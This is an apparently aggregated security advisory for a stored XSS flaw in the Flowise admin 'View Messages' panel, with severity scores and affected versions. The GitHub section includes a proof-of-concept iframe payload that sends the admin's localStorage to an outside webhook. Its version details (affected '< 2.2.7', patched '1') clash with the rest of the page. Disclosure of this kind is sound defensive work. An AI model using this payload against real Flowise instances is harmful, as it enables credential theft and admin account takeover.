8.2high
Flowise is vulnerable to stored XSS via "View Messages" allows credential theft in FlowiseAI admin panel
- Severity
- 8.2high CVSS:3.1 by mitre
- Exploit likelihood
- 16.1% (higher than 96% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- mitre
- Also known as
- GHSA-964p-j4gg-mhwc
Description
Flowise before 3.0.5 allows XSS via an IFRAME element when an admin views the chat log.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| FlowiseAI Flowise | before 3.0.5 | CVE List, NVD |
| flowise (npm) | before 3.0.8 | GitHub Advisory Database |
All scores
| mitre | 8.2high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N |
| GitHub | 9.3critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N |
| NVD | 6.1medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
Classification
SSVC (CISA-ADP): exploitation poc, automatable no, technical impact partial.
What each source says
CVE List
Flowise before 3.0.5 allows XSS via an IFRAME element when an admin views the chat log.
GitHub Advisory Database
Summary
A stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the "View Messages" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to localStorage.
Details
The vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using <iframe srcdoc="..."> can include arbitrary JavaScript, which is executed when the message is rendered.
PoC
- Deploy a FlowiseAI agent and make it accessible via browser (e.g., embed on a website).
- Send the following payload via the agent's chat interface:
<iframe srcdoc="<script>fetch('http://requestbin.whapi.cloud/XXXXX?d='+encodeURIComponent(JSON.stringify(localStorage)))</script>"> - As an admin, go to the workflow and click "View Messages".
- The JavaScript is executed in the admin's browser, exfiltrating
localStoragecontent to the attacker-controlled webhook endpoint.
Impact
- Type: Stored Cross-Site Scripting (XSS)
- Who is impacted: Any admin viewing messages in the FlowiseAI UI
- Data at risk: Admin credentials, or sensitive info stored in
localStorage - Severity: High (Account takeover, admin privilege escalation, full panel compromise)
Affected Products
- Ecosystem:
npm - Package name:
flowise - Affected versions:
< 2.2.7 - Patched versions:
1
NVD (es)
Flowise antes de la versión 3.0.5 permite XSS a través de un elemento IFRAME cuando un administrador visualiza el registro de chat.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2025-50538 changed 2025-10-06 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-964p-j4gg-mhwc changed 2026-07-08 | CC-BY-4.0 |
| NVD | CVE-2025-50538 changed 2026-10-09 | Public domain |